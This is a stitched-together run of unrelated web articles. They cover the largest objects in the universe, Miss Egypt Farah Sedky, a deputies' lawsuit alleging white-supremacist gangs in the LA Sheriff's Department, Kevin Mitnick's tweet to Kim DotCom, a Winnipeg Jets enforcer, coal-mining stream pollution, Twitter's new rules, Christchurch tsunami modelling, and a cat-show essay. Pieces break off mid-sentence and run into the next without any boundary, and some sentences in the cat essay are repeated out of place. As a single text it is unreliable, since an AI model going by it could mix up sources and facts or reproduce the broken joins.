sun, however, so that shows that mass and size don't necessarily correlate in space. Progressing up the list of big cosmic objects, other things to consider are black holes and, in particular, supermassive black holes that typically reside in the center of a galaxy. (Our Milky Way hosts one that is about 4 million times the mass of the sun.) One of the biggest supermassive black holes ever found resides in NGC 4889, which has a black hole roughly 21 billion times the mass of the sun. There are things out there bigger than even supermassive black holes. Galaxies are collections of star systems and everything that is inside those systems (such as planets, stars, asteroids, comets, dwarf planets, gas, dust and more). Our own Milky Way is about 100,000 light-years across, NASA says; a light-year is the distance light travels in a year. It's difficult to characterize what the largest galaxies are, because they don't really have precise boundaries, but the largest galaxies we know of are millions of light-years across. The biggest known galaxy is IC 1101, which is 50 times the Milky Way's size and about 2,000 times more massive. It is about 5.5 million light-years across. Nebulas, or vast clouds of gas, also have impressively large sizes. NGC 604 in the Triangulum Galaxy is commonly cited as one of the largest; it's roughly 1,520 light-years across. Now at last we are starting to approach the biggest structures in the universe. Galaxies are often bound to each other gravitationally in groups that are called galaxy clusters. (The Milky Way, for example, is part of the small Local Group that comprises about two dozen galaxies, including the Andromeda Galaxy.) At first glance, astronomers thought that these structures were the biggest thing out there. In the 1980s, however, astronomers realized that groups of galaxy clusters are also connected by gravity and connected in a supercluster. What is the biggest supercluster? The biggest supercluster known in the universe is the Hercules-Corona Borealis Great Wall. It was first reported in 2013 and has been studied several times. It's so big that light takes about 10 billion years to move across the structure. For perspective, the universe is only 13.8 billion years old. The structure first came to light as the research team (led by Istvan Horvath of the National University of Public Service in Hungary) was looking at brief cosmic phenomena known as gamma-ray bursts. It is thought that they come from supernovas, or massive stars that explode at the end of their lifetimes. Gamma-ray bursts are thought to be a good indication of where huge masses of stuff lie in the universe, because big stars tend to congregate in dense areas. The first survey showed gamma-rays particularly concentrated about 10 billion light-years away in the direction of the Hercules and Corona Borealis constellations. But it's a puzzle as to just how that big structure came to be. A 2013 article from Discovery News (a partner site to Space.com) pointed out that this structure appeared to go against a principle of cosmology, or how the universe formed and evolved. Specifically, this principle says that matter should be uniform when seen at a large enough scale. The cluster, however, is not uniform. "I would have thought this structure was too big to exist. Even as a coauthor, I still have my doubts," Jon Hakkila, an astronomy researcher at the College of Charleston in South Carolina, said in a 2014 press release. He said there was a very small chance the researchers saw a random number of gamma-rays in that location, but it is far less than one in 100. "Thus, we believe that the structure exists," he added. "There are other structures that appear to violate universal homogeneity: the Sloan Great Wall and the Huge Large Quasar Group... are two. Thus, there may very well be others, and some could indeed be bigger. Only time will tell." Large objects in our solar system While the solar system is puny compared to the scale of the Hercules-Corona Borealis Great Wall, here is a list of some of the largest types of objects in our own solar system. Largest planet: Jupiter, roughly 88,846 miles (142,984 km) at its largest diameter, which is about 11 times the diameter of the Earth. Largest moon: Ganymede, which coincidentally orbits Jupiter, is roughly 3,273 miles (5,268 km) in diameter and is a little larger than the planet Mercury. Tallest volcano: Olympus Mons on Mars, roughly 15 miles (25 km) high and three times the height of Mount Everest on Earth. (Olympus Mons is also considered the highest mountain.) Largest canyon: Valles Marineris on Mars, more than 1,865 miles (3,000 km) long, as much as 370 miles (600 km) across, and 5 miles (8 km) deep. Largest crater: Utopia Planitia on Mars, which has an estimated diameter of 2,050 miles (3,300 km). It was the general landing area of the Viking 2 spacecraft that landed there in 1976. Largest asteroid: 4 Vesta, which is 330 miles (530 km) across. It is located in the asteroid belt between Mars and Jupiter. Largest dwarf planet: Pluto is the largest dwarf planet, with a diameter of 1,473 miles (2,370 km). It was once thought to be smaller than dwarf planet Eris, but Pluto's measurements were confirmed up close by the New Horizons spacecraft in 2015. Editor's note: This article was corrected on Jan. 19 to include the size of galaxy IC 1101.Farah Sedky represented Egypt at the Miss Universe pageant on Monday in Las Vegas’ Planet Hollywood against 91 other contestants. Farah once suffered from morbid obesity during her teenage years, during which she weighed 99kg. While she was once bullied by classmates, Farah overcame this, shed the weight and won Miss Egypt 2017. The 23-year-old holds a degree in Language and Translation at an honorary level. At this young age, Farah is familiar with six different languages: Arabic, English, Italian, French, Portuguese and Spanish. In an interview with People magazine Farah disclosed her journey and the complications she endured with weight gain. Farah was nearly 220 pounds and her health was going downhill. Speaking to the magazine, Farah said that her excess weight as a teenager made her intimidated and by her schoolmates “because of my looks, which they considered ugly. In fact, girls from other schools also went after me and described me with the worst qualities.” Farah continued saying: “Before I turned 15 years, Doctors warned me that I would suffer from diabetes within 6 months if I didn’t change my habits and reduce my weight.” “This was the first time I saw my father crying,” Farah told Al Arabiya News Channel. Lemon: A life changer Aside from eating healthily, reducing her carbs intake and following medical advice, Farah
confirmed safe bet. Buy anything else, and you invoke the ancient rule of caveat emptor.Two deputies have brought a lawsuit against members of the Los Angeles County Sheriff’s Department. The lawsuit, filed by deputies James Sexton and Michael Rathbun, alleges that several members of the Sheriff's staff are members of a white supremacy gang and have gone to extensive lengths to hide certain prison inmates from the FBI. The deputies also claim that members of the department have covered up an incident involving a skinhead deputy, and threatened to kill the deputies if they exposed their gang involvement. The deputies say they have been called “race traitors” and “snitches” as well. ADVERTISEMENT Thanks for watching! Visit Website “An inappropriate relationship exists between certain LASD personnel and various inmate jail gangs, especially white supremacist,” the lawsuit says. “LASD personnel use these jail gangs as proxies or agents to retaliate against other LASD deputies and inmates. Within these inappropriate alliances, the gangs are given certain privileges that are otherwise legally precluded from them.” The deputy’s lawsuit is being filed against the LASD, Sheriff Leroy Baca, Undersheriff Paul Tanaka, Lt. Greg Thompson, and an individual listed as “Detective Perkins.” Lt. Thompson and Undersheriff Tanaka are allegedly members of the racist cop gang “The Vikings,” says the suit. ADVERTISEMENT Thanks for watching! Visit Website ADVERTISEMENT Thanks for watching! Visit Website The allegations that the Sheriff’s office hid an inmate from the FBI stem from a 2011 incident at the Men’s Central Jail. At the time, an inmate was found to be an informant for the FBI. The informant was said to be collecting information on abusive and corrupt deputies from the Sheriff’s department. When LASD official’s found out about the informant, they reportedly immediately created an alias for the inmate and moved him to a different jail. Department officials then assigned 13 deputies to monitor the inmate informant for 24 hours a day. Deputies Rathbun and Sexton claim the moves were all made in an effort to “keep the FBI out of the jails.” Another incident occurred in February of 2012 while Sexton and Rathbun were working with an intelligence unit called Operation Safe Jails (OSJ). This time, an informant told deputies Rathbun and Sexton that one of their fellow deputies was closely associated with a powerful white gang member from the prison. After OSJ members were made aware that Rathbun and Sexton knew about the deputy’s involvement with the gang member, they allegedly threatened to harm the deputies if they didn’t keep quiet. When the gang member was moved to another prison, members of the OSJ blamed Sexton and Rathbun for “f*kingup their program.” “At all relevant times, certain members of OSJ associated with, and cooperated with, certain jail gangs, including partaking in illicit activities,” the lawsuit says. “Sheriff Baca and/or Undersheriff Tanaka knew or should have known about these improper relationships, but took no action to stop it and implicitly ratified the improper conduct.” The lawsuit also says that Undersheriff Tanaka encouraged police gangs while telling deputies to “operate outside the confines of the law, in contravention of state and federal laws.” The lawsuit also claims the allegedly corrupt LASD members used white supremacist inmates to verbally abuse Rathbun and Sexton. “LASD personnel, using jail gangs as their agents, labeled Rathbun and Sexton as ‘race traitors,” the lawsuit says. The allegations against the LASD culminated in the firing of Deputy Rathbun. Rathbun was recently arrested for drunk driving. He was fired following the charge, one that Rathbun says has been frequently overlooked for other LASD members. Rathbun’s charge was also upgraded from a misdemeanor to a felony without warning. Soon after his arrest, LASD staff leaked video of his DUI arrest to the public. Rathbun claims this was done in order “to discredit … and ruin his life.” Rathbun and Sexton are officially accusing the LASD of retaliation, malicious prosecution, constitutional violations, and conspiracy and harassment. Source: RT, LA Times undefinedKevin Mitnick can certainly empathize with Kim DotCom. Mitnick, one of the best-known computer hackers of all time, knows what it is to be hunted by the American government and to face jail time as a result. That may be why Mitnick cheered DotCom on via Twitter. James Martin/CNET DotCom, the founder of cloud-storage service MegaUpload is trying to fend off attempts by U.S. officials to extradite him from New Zealand and try him on various charges, including criminal copyright violations and wire fraud. "I hope you win," Mitnick wrote to DotCom last night. "I saw this on YouTube and thought of you." Embedded in Mitnick's Twitter post was a link to a YouTube music video from singer Tom Petty. The song was "I Won't Back Down." Critics would caution DotCom to think twice before taking advice from Mitnick. Mitnick spent over four years in jail for computer fraud and other related charges. He hacked Motorola, NEC, Nokia and other systems. Some of his prison time was served in solitary confinement because authorities were under the impression that Mitnick could start a nuclear war simply by whistling into a payphone. DotCom, who received support yesterday from Apple co-founder Steve Wozniak, appeared grateful for the shout out from Mitnick, who is now a security consultant and public speaker. "Hi Kevin," DotCom wrote. "Nice to get a tweet from the legend."Jets coach Paul Maurice stood near the blue line on day two of training camp at the MTS Iceplex Saturday. With whistle in hand, he waited. Taking only a few moments to scan the ice – or perhaps to take a quick glance at the packed stands filled with hundreds of doting fans – he raised his hand to his lips and blew. To his right was forward and known tough customer, Anthony Peluso, now two steps in to the drill. Starting from the corner, Peluso took a couple more hard strides before snapping a hard pass to a defenceman already in position 50 feet ahead. By now, a smooth transition in the neutral zone had Peluso moving back in the direction he had just came from. Waiting for him was a pass, one the big man took with ease; leaving only an open break on goaltender Ondrej Pavelec left to finish the drill. Picking up speed as he made his way towards the goal, Peluso dropped his shoulder, just enough to fake out Pavelec and with another step he snapped a bullet far side, upstairs and in. The kind of elegance and smoothness displayed in the 10 seconds it took from start to finish painted a scene somewhat uncharacteristic to that of an NHL tough guy, even if it did inspire a loud cheer of approval from the stands. Fighting for position That’s because, for Jets fans, applause for the six-foot-three, 235 pound native of North York, Ont. is usually reserved for after an exchange of fisticuffs, the byproduct of being an NHL enforcer; a role that Peluso has cemented for himself during his short time in Winnipeg. Winnipeg Jets centre Nicolas Petan, left wing Adam Lowry, and right wing Anthony Peluso catch their breaths at Saturday's training camp session at the MTS Iceplex (Jeff Hamilton/CBC) “I think it’s important,” said the 25-year-old and former sixth round pick of the St. Louis Blues, on the state of fighting in hockey, a conversation that inevitably pops up at the beginning of every new season. “It gives those guys that need the space and need to know that there’s someone there who has their back. I think they know, the players on my team, that I would [be there] in a heart beat for everyone." Like all notable tough guys in the NHL, Peluso follows the same code: you cheap shot one of our guys, you’ll have to deal with the consequences. But unlike enforcers that managed to carve out a living before him, Peluso knows a steel jaw and hard knuckles aren’t enough to stick around in a league that’s constantly rediscovering itself in favour of speed and skill. “Every year you just try to continue to improve and through my pro career I kind of started at the bottom and have been working my way up, slowly grinding it out and I’m still going to continue to do that,” said Peluso, who finished last season with two goals and 65 penalty minutes in 53 games. “I’ve set goals for myself and for me it’s just development and improving on last year and continuing to grow my game.” A solid offseason Knowing he could contribute with more than just his knuckles, Peluso made a decision four years ago to train with former NHLer Gary Roberts, one of the league’s top conditioning coaches known for working with big stars such as Tampa Bay’s Steven Stamkos. Peluso said the two hit it off from the start, focusing on workouts that would best fit his game. The first year they worked on foot speed. This year, it was all about stability strength. “It was about making sure I was just as solid as I possibly could be,” said Peluso, who also spent three-to-five days per week boxing, a ritual of his since the age of 10. It’s the kind of dedication you wouldn’t expect from a player who last season eclipsed double-digit minutes of ice time only once. But if you’re in the game of calling bluffs, think again. Maurice, who coached Roberts for three seasons in Carolina during the late 90s, has already done the work for you. “I had a long talk with Gary about Anthony’s training regimen and he had nothing but incredible things to say,” spoke Maurice about a call he made to Roberts during the summer. Asked where in the lineup he felt he could contribute most Peluso said: “You know I don’t really look at it in terms of lines because everyone brings something to the table.” “I’m confident with my skills and what I bring to the table. I have an element of speed that somewhat surprises guys and I’m really good in the corners. Obviously I have the other part of my game, which is being the physical asset and protecting my teammates and that won’t ever go away.” Building depth Through the early stages of camp, a lot of attention has been given to the team’s top-nine forwards. With the signing of Mathieu Perreault and the belief he can bring much needed depth scoring to the third line, it’s no surprise very little lip service has been given to the fourth line. With the intense, in-your-face style of play Maurice is looking to adopt this season, depth up front will become that much more important when managing minutes. “We are a big fast team so we don’t want to lose our identity with that fourth line,” started Maurice. “You got to drive it when you’re out there. "You’d like that line to spend more time in the other teams zone than your own and we need some physical presence and we’d like to have a good face off man as well.” With the top eight forwards already in place, a battle to fill out the rest of the lineup is well underway. Many believe the versatile TJ Galiardi has a solid shot to win a spot on the third line, alongside Perreault and either Michael Frolik or Dustin Byfuglien, but even that’s not etched in stone just yet. Candidates for the fourth line include Chris Thorburn, Jim Slater, Eric Tangradi, and Peluso, all of which are on one-way deals as well as Matt Halischuk and Galiardi who both inked two-way contracts in the offseason. That doesn’t even count the likes of blossoming prospect Adam Lowry, who after his first full season in the American Hockey League last year looks even bigger and stronger and will push for a spot. And then there’s Eric O’Dell, Patrice Cormier, John Albert and Carl Klingberg, all of which spent time with the Jets last winter. Simple math suggests the team’s brass will have to make some hard decisions in the coming weeks. But if you ask Maurice, there may just be an early front-runner. “I really like what Anthony Peluso brings to that fourth line, the role that he has on our team,” said Maurice. Asked if the fact Peluso’s contract, which is set to expire at the end of the season, would have any affect on where he fits in to the lineup, Maurice claimed he doesn’t look at things like that but added: “If I’m him, from a personal point of view, being in your last year of contract can potentially be a really good thing.” If the offseason was any indication, Peluso may just have enough punch to stick around.By Duke University Water pollution from surface coal mining has degraded more than 22 percent of streams and rivers in southern West Virginia to the point they may now qualify as impaired under state criteria, according to a new study by scientists at Duke and Baylor universities. The study, published this week in the peer-reviewed journal Environmental Science & Technology, documents substantial losses in aquatic insect biodiversity and increases in salinity linked to sulfates and other pollutants in runoff from mines often located miles upstream. “Our findings offer concrete evidence of the cumulative impacts surface mining is having on a regional scale,” said Emily S. Bernhardt, associate professor of biogeochemistry at Duke’s Nicholas School of the Environment. “The relationship is clear and direct: The more mining you have upstream, the higher the biological loss and salinity levels will be downstream, and the farther they will extend.” Numerous recent studies have demonstrated the water-quality problems caused at or near the site of individual surface coal mines, Bernhardt noted. So she and her team “set out to understand how the large and growing number of surface mines is affecting water quality throughout Appalachia.” They used NASA satellite images and computer data to map the extent of surface mining taking place across a 12,000-square-mile area of the southern West Virginia coalfields between 1976 and 2005. They found that companies had converted more than 5 percent of the land into mine sites and buried 480 miles of streams beneath adjacent valley fills during this period. By overlaying the map with chemical and biological data from 223 streams the West Virginia Department of Environmental Protection sampled in the study area between 1997 and 2007, the researchers determined that pollution runoff from the mines could substantially degrade more than 1,400 miles of streams in the region – four times the length of streams buried below the valley fills. “It’s important to recognize that surface coal mining pollution doesn’t stop at mine-permit boundaries,” said Brian D. Lutz, a postdoctoral associate in Bernhardt’s lab. “Our analysis suggests that mining only 5 percent of the land surface is degrading between 22 percent and 32 percent of the region’s rivers,” he said. Substantial declines in insect diversity began to occur when companies had mined as little as 1 percent of upstream land, the analysis showed. In areas where companies had converted about 5 percent of the land into mines, sensitive species such as mayflies and stoneflies had vanished or declined to an extent that the streams would qualify as biologically impaired under criteria set by the state of West Virginia. The designation means the streams could be placed on a list of waterways that the state must take steps to rehabilitate. “What is so compelling is that we found many different types of organisms are lost downstream of surface coal mines, and most of them begin to disappear at similar levels of mining,” said Ryan S. King, associate professor of biology at Baylor. “Our analysis shows that coal mining is leading to widespread declines in aquatic biodiversity in Appalachian streams.” Lutz and King co-authored the paper with Bernhardt. Other coauthors were John P. Fay, instructor of geospatial analysis at the Nicholas School; Catherine E. Carter, a 2010 master’s graduate of the Nicholas School, now at TetraTech; Ashley M. Helton, postdoctoral associate in Duke’s Department of Biology; John Amos of SkyTruth; and David Campagna, of Campagna & Associates. The study was supported by unrestricted gifts in support of research from The Foundation for the Carolinas and the Sierra Club, and through a contract to Amos and Campagna from Appalachian Voices. From Duke UniversityTwitter's top executive appears to have gotten the message from the #WomenBoycottTwitter movement. In a series of threaded tweets Friday night, founder and CEO Jack Dorsey said the social media platform would announce new rules centered on "unwanted sexual advances, non-consensual nudity, hate symbols, violent groups, and tweets that glorifies violence." "We decided to take a more aggressive stance in our rules and how we enforce them," Dorsey tweeted. Dorsey did not give a timeline for when the new rules would be in place, but said they would drop in "the next few weeks." Twitter said in a statement to CNNMoney that they could not provide any more details on the timeline as of Saturday evening. Dorsey took time to reply to dozens of messages, many of them critical of the platform and skeptical of Dorsey's timing. 6/ We decided to take a more aggressive stance in our rules and how we enforce them. — jack (@jack) October 14, 2017 7/ New rules around: unwanted sexual advances, non-consensual nudity, hate symbols, violent groups, and tweets that glorifies violence. — jack (@jack) October 14, 2017 This week brought special attention to the social media platform. Actress Rose McGowan's Twitter account was temporarily blocked for violating Twitter polices. It said she tweeted a phone number. Related: Roger Goodell's wife used fake Twitter account to defend her But the actress had been very active on this social media platform in the wake of the Harvey Weinstein scandal. McGowan posted a number of tweets about the sexual harassment scandal surrounding the media titan Harvey Weinstein. On Thursday she tweeted that "HW" raped me. Twitter users reacted to her brief suspension from Twitter with a social media campaign for women to boycott. The hashtag #WomenBoycottTwitter became the number one global trend on the social media platform Friday. The boycott hashtag is just the latest criticism of Twitter. In recent years, users have demanded more action against hate speech and harassment. Many see the platform as a haven for online harassment. Twitter has attempted to respond before. Earlier this year, Twitter rolled out new tools preventing serial abusers from creating new accounts, a new "safe search" function and blocking potentially abusive and "low-quality" tweets from appearing in conversations. Related: Why Rose McGowan was blocked on Twitter However, Dorsey acknowledged that the platform has not done enough to combat harassment. "We see voices being silenced on Twitter every day. We've been working to counteract this for the past 2 years," he wrote in the first tweet of his series. Dorsey also said Twitter is reconsidering its verification policies. The verification policy tease was not part of his twitter thread. A commenter replied to his thread asking why a white nationalist like Richard Spencer is verified on the platform. Why do you verify guys like Richard Spencer? What signal does that send? Who are you helping by doing that? — Eric Markowitz (@EricMarkowitz) October 14, 2017 We're reconsidering our verification policies. Not as high a priority as enforcement, but it's up there — jack (@jack) October 14, 2017 Dorsey said that Twitter will get to changing its verification process "as soon as we can" but are bound by "limited resources" that requires them to "strictly prioritize." "We're reconsidering our verification policies. Not as high a priority as enforcement, but it's up there," he said. Public condemnation of Twitter's policies stems back several years. In 2015, Twitter said it updated its policy in an attempt to stop people from tweeting abusive and violent posts. At the time, Mark Cuban had called on Apple to ban Twitter and President Obama urged tech companies to make it harder for terrorist groups, such as ISIS, to "avoid justice" by using social media platforms. Related: #WomenBoycottTwitter protest erupts over Rose McGowan's suspension Some public figures, such as Martin Shkreli, the infamous former pharmaceutical executive, have been kicked off Twitter for "targeted harassment" after he made unwanted advances toward journalist Lauren Duca. Conservative firebrand Milo Yiannopoulos was also removed from Twitter after targeting actress Leslie Jones with a series of hate tweets last year.A tsunami would put the Christchurch seaside village under more than 2.5m of water. Most of Sumner will be under more than 2.5 metres of water if a large tsunami hits at high tide, new computer modelling suggests. As part of an assessment of the coastal hazards facing Christchurch and Banks Peninsula, the city council has been looking at would happen if a tsunami generated by a large earthquake in South America was to hit the Canterbury coastline. According to computer modelling done by Niwa, Sumner and pockets of Redcliffs, Taylors Mistake and South New Brighton would be hit the hardest and potentially be under more than 2.5 metres of water if the tsunami arrived during the high tide. The impact would be much less severe if the tsunami was to hit during the low tide. "Whether it (the tsunami) arrives on a low tide or a high tide makes a big difference to the impact on our coast," said Christchurch City Council natural environment and heritage unit manager Helen Beaumont. Tsunami events that affect the Canterbury coastline are rare but they do occur. In February 2010, a magnitude-8.8 earthquake off the coast of Chile triggered tsunami waves that arrived along the Canterbury coast after about 14 hours. Little damage was done but water over-topped the fisherman's wharf at the Lyttelton Port and the Governors Bay jetty. Some low lying areas of Teddington and Charteris Bay also flooded. The last tsunami to significantly affect the Canterbury coastline was in 1960 and was generated by a magnitude-9.5 earthquake off the coast of Chile. It caused fluctuations of up to 4.5 metres above normal sea level along the coast but its impact was minimal as it arrived at low tide. Beaumont said distant source tsunamis – generated by earthquakes in South America – posed the biggest flooding threat to Christchurch and Banks Peninsula but usually came with plenty of warning as they took 10 to 12 hours to arrive. Although the effects of such a tsunami could be devastating people should have time to evacuate, she said. Because the likelihood of a major tsunami hitting the Canterbury coastline was very low, the council was not proposing to address the risk through planning rule changes. It would deal with it through Civil Defence. "Its all about what's the community's appetite for risk. The whole coastline of New Zealand is settled despite the tsunami risk and I don't think any of us are going to turn away from it," Beaumont said. Sumner resident Susan Kaschula whose house would be among those under water if a big tsunami struck the coastline, said most residents were well aware of the risks and accepted it as the price they paid for living in a coastal area. "You can't live in fear; you just have to live for each day and make the most of it," she said. The council has just completed the installation of tsunami warning sirens at an additional 25 sites along the Christchurch coastline. It brings the total number of sirens in place from Spencerville to Taylors Mistake to 47. The locations for the sirens have been selected based on the recent tsunami modelling. The sirens are only designed to be heard within a few blocks of the beach. The council is running a series of seminars this month for people interested in learning more about coastal hazards and how they plan to deal with them. Details on where and when the seminars are being held can be found on the council's website.I unclipped the kennel latches and patiently waited for my cat to willingly exit. Earlier that morning my wife and I feared accidentally dislocating his limbs while vertically cramming him through the opening and slamming the cage door shut like a lid over boiling lobster. But after nine hours of pageantry—being molested by cat fancy judges and baby-talked nearly to death by spectators—this box was the only thing worth trusting in his scary world. Eventually my wife Janae enticed him with a trail of Temptations treats and he sauntered out into our apartment, weary and woozy after his cat show debut. You are wondering what kind of people put their house pet in a cat show, I know, but it is the wrong question. The right question is, why him and not our other cat? The boy is a Siamese-cross, and cross-eyed. His coat is like cashmere and he is perilously cuddly. As for his companion, the girl, she’s a plump blue tortoiseshell—Plain Jane, except for these big green eyes that she prefers squinting, giving her uncanny resting bitch face. What she lacks in looks, she makes up for in smarts, proven by her punishment of fresh turds on the door-mat every time we return from vacation. Her healthy distrust isn’t a trait admired by the cat fancy world, but it’s to be respected and, occasionally, feared. When she hunches down and her ears fold back, when her tail lashes and the claws of evolution eject from her paws, you can see in her dilated pupils 40 million years of natural selection. In those rare terrifying moments, you cannot, however, see 160 million years further, to a time when homo sapien and felis silvestris shared a common ancestor and cause. We couldn’t have known this when we adopted her as a kitten, but maybe we sensed it, or manifested it into reality, when we christened her “Darwin.” We named the boy “Orwell” because we liked the theme of strong, brave historical figures, but he never lived up to his title. It is clear which of the two would survive in the wild and which would thrive in a beauty pageant. After Orwell swallowed the last Temptations, he looked up to see the end of the treats and the beginning of Darwin’s whiskers. She sniffed and recoiled at the funk of hundreds of foreign cats. Her fur and back shot up, she growled and spit like never before. In retrospect, I think this was the moment she broke. * I got over the stench of piss at the Edmonton Cat Show pretty quickly. It’s not so much my nostrils that adjusted but my eyes, to rows and rows of beautiful creatures. Plump British shorthairs smiled in their sleep and Regal sphinxes owned their ugly. Janae and I carried Orwell in a kennel, treats and a litter pan, plus a big blue ribbon on which to adhere the gold stickers he was sure to win (a literal participation prize for this coddled generation of cats). We ventured past the two dozen fancy pedigrees to the ghettoes of the show hall, where calicos, tabbies, torties and other non-purebreds were stationed. The vast majority of the Household Pet category contenders are rescues, entered without charge by local charities in hopes that someone will adopt “Norman” or “Hamish” after seeing what these scruffy orphans are really made of. Knowing my semi-exotic cat would be up against the most unfancy specimens gave me confidence, but only me. Orwell cowered in the corner of his kennel, scrunching into a ball, unwilling to eat or drink. Janae was hesitant about my brilliant idea of putting him in the show from the start and thought I’d traumatized him enough the night before when I surprised him with the a bath and mango-scented shampooing. Darwin observed, somewhat proudly, as her companion fought for his life in the bathtub. It wasn’t enjoyable for me either, but The International Cat Association (TICA) guidelines suggest bathing show cats, trimming their claws and cleaning their ears, eyes and asses. Grooming and hygiene is especially vital in the Household Pet category. Pedigreed cats have standardized physical criteria. For instance, the head of a Devon Rex (worth up to 40 points) should be “delineated by a narrowing series of three distinct convex curves.” Household pets, on the other hand, are primarily scored on grooming, condition, health and personality—a criterion subjected to judges’ personal tastes, and worth 30 points. It’s the only category requiring a winning personality, meaning a properly pedigreed Oriental could give no fucks and still take gold, but a half-breed like Orwell would have to put on a smile of sorts. Our decision to enter him over Darwin was validated after learning about TICA’s rules on aggression. There is no place for it. Hissing, spitting and growling can have any cat regardless of pedigree disqualified, and swatting at the judge almost certainly will. When the occasional cat breaks free and makes a run for it, the protocol is to close all open doors and yell “cat out!” But you are not to touch that cat. That responsibility, and shame, belongs to the owner. The semiconductor is no doubt the most important invention of 1947, but considering that there are nearly 100 million house cats living in 37 per cent of American homes, Michigander Ed Lowe’s highly absorbent granulated clay is a close second. Orwell’s coping mechanism, luckily, was petrification. “We have a Siamese meatloaf,” the first judge, Melissa Parsley, who had a soft spot for shyness, told the crowd as she carried him from the holding kennel. The seven spectators in the ring aw’d as Orwell shivered on the show bench. Parsley lifted his tail, inspected the insides of his ears and rubbed under his chin. “A true apple-cheeked Siamese,” she exclaimed. “You don’t see it anymore!” For decades Oriental cats have been bred for pointed faces, but Parsley was smitten by his nostalgic facial traits. As she returned him to his kennel, her child assistant rushed in from one side of the ring with a spray bottle, sanitized the bench with a swift wipe, then hustled to the other side like a tennis ball-boy. After Parsley showed all 14 competing household pets, she began pinning ribbons to each kennel from 10th place to 1st, with a brief declaration of worth for each one. “For the kitty who lost her ear to frostbite … 10th place!” “Lily is very elegant, the sweetest looking cat … sixth place!” As we neared the top three, Janae looked at me with wide eyes and for a brief moment her regrets had been washed over with pride. “This little guy,” said Parsley, turning to Orwell. “Old-style traditional Siamese. Nice dark features. And he’s not one of those skinny mini cats. Full-body seal point … third place!” He had seven more rounds to go, then another eight the next day, but surely if he could snatch bronze in his first attempt he would be going home with a few gold finishes. * TICA has been showing and awarding titles to non-purebred domestic cats—even the maligned black ones—since its 1973 beginnings. It’s a stark contrast to the practises of the 110-year-old Cat Fanciers Association, which for decades didn’t even bother hosting the category. The association now emphasizes it like TICA, and in the last three years finally started giving non-purebred cats Grand Championship titles equal to pedigrees. The hope is that it will curb the cat fancy world’s declining entries and revenues. Spectator attendance is strong—thanks very much to the Internet’s infinite and thrilling supply of cats—but exhibitor numbers are historically low. It’s an aging and expensive hobby, and showing is surprisingly physical for elderly exhibitors, requiring almost nonstop schlepping of pet from one side of the show hall to another for two long days. But at $60–$100 per cat to exhibit, compared to just $10 for spectator admission, the Household Pet category is a decent revenue driver, something TICA has always recognized, but which is especially apparent now that North American cat ownership has reached an all-time high. So far this season, a bright-eyed torbie named Penny with 11,230 standing points looks like she could repeat her 2014–15 championship. I reached out to Penny’s owner to find out what it takes to be the world’s best housecat, but she didn’t reply. So I talked to Patricia Clary, owner of the world’s second best cat, Mr. Starbucks of Carolinameows, who trails Penny’s by only 136 points. Mr. Starbucks, or “Bucky” as Clary calls him, may not have a posh pedigree but he’s undeniably majestic: there’s his cream and white long coat that’s gorgeously groomed, and then there’s his green and blue heterochromia eyes. But it’s his personality that puts him over the top. “He stands there like he’s royalty,” says Clary. “The judges kiss on him and he just eats it up.” You would never guess that his mother was a stray. All along she was saying “I own you, fucker” to me, as she lapped up my facial hair, and to him, as he napped like a toy in her grip. Clary has shown Maine Coons in the pedigreed categories to some success, but Bucky is her first international star. On the eve of a show, Clary might spend an hour washing and drying a single cat (a regimen requiring four different shampoos and oils for their coats), and that’s in addition to the hours she spends on an average day preparing their diet of ground deer meat, chicken and scrambled eggs. “Is it time consuming?” she asks herself. “Yes. But that’s what it takes to win.” A hobby so draining, personally and financially, cannot just be about winning. It must also be fun, otherwise Clary would still be showing at the rival cat fanciers competitions organized by the CFA, which started welcoming household pet cats in the ’30s, but as more of a sideshow and never very seriously. “I didn’t like the people,” she recalls. “They were all about the sale.” To appreciate the two associations’ historically different perspectives on house cats, understand that the CFA is pre-Kitty Litter and TICA is post-Kitty Litter. In 1906, when the CFA was founded, a domestic cat, no matter how loving and social, primarily functioned as a mouser unless, of course, it were pedigreed, which the upper classes treated as haute props. “The New York cat show,” observed one 19th century newspaper, “appears to be a sort of asylum for purse-proud aristocratic cats, or those which exhibit some exceptional intelligence or tail or something.” Four decades later, their public perception would dramatically change. The semiconductor is no doubt the most important invention of 1947, but considering that there are nearly 100 million house cats living in 37 per cent of American homes, Michigander Ed Lowe’s highly absorbent granulated clay is a close second. Since cats evolved in the desert, their urine is highly concentrated and extremely noxious. “Boxes filled with sand, sawdust or wood shavings provided a measure of relief from the resulting stench, but not enough to make cats particularly welcome in discriminating homes,” wrote The New York Times in Lowe’s obituary. “Until a fateful January day in 1947, those who kept them indoors full time paid a heavy price.” Kitty Litter meant a cat could live exclusively indoors, thereby completing 10,000 years of domestication. This didn’t just inform TICA’s inclusive philosophy but it solidified the common house cat’s place in the general psyche as more pet than utility. Today there are far more cats than dogs living in Canadian and American homes and many of them, like Orwell and Darwin, are strictly indoor. This has greatly extended their lifespans, but it’s also introduced some emotional issues. * Our home in Edmonton can also be split in two eras: Pre-Orwell and Post-Orwell. Darwin moved in before the boxes in our new apartment were even unpacked. From the moment we found her at the Humane Society, Darwin wanted to be held like a baby and that is how we have always treated her. Yes, we are those people, but Darwin really earned it. At night, she’d crawl into bed and rigorously lick my beard stubble. Some nights we kept her out, until her crying became so relentless that it was more tolerable to lose sleep while her sandpaper-like tongue scraped layers of face. Orwell moved in a year later and Darwin immediately began showing slight predatory behaviour, stalking him and swatting him when he got too close. But he was a lovebug, dumbly following his frenemy, no matter how loudly she hissed. By the time she was in her terrible twos, which is to say her teens, Darwin became more withdrawn and spent all her time on the balcony, gazing into the urban desert, pondering her life as an outdoor cat in another world. Middle age mellowed her out and in recent years we’ve caught the two of them regularly snuggling. Always, Darwin was the one grooming him. It appears affectionate, but according to Cat Sense: How the New Feline Science Can Make You a Better Friend to Your Pet, this is a sign of dominance. All along she was saying “I own you, fucker” to me, as she lapped up my facial hair, and to him, as he napped like a toy in her grip. * Like Orson Welles and Haley Joel Osment, Orwell had peaked early and garnered a 4th, 7th and 10th in subsequent rounds. The last judge, Ellen Crockett, was explicit about her preferences. “In my ring,” she said, twirling a teaser feather around his noncompliant head, “I want cats that are having a good time.” His place standings kept declining, even after the emcee announced that Hamish, a rescue who was gobbling up golds, had been adopted—to rapturous applause. Orwell did fine for a rookie, but he lacked something possessed by the Hamishes and Mr. Starbucks of the cat world, what Pamela Barrett calls “star quality.” Barrett, an older woman with a smart blond bob, who courageously wore a black turtleneck to the cat ring in Edmonton, was recently awarded TICA’s Judge of the Year prize. It’s essentially the Best in Show of judges; anyone who’s sat in her ring knows why. A former fraud investigator, Barrett is exceptional at pattern recognition and spotting 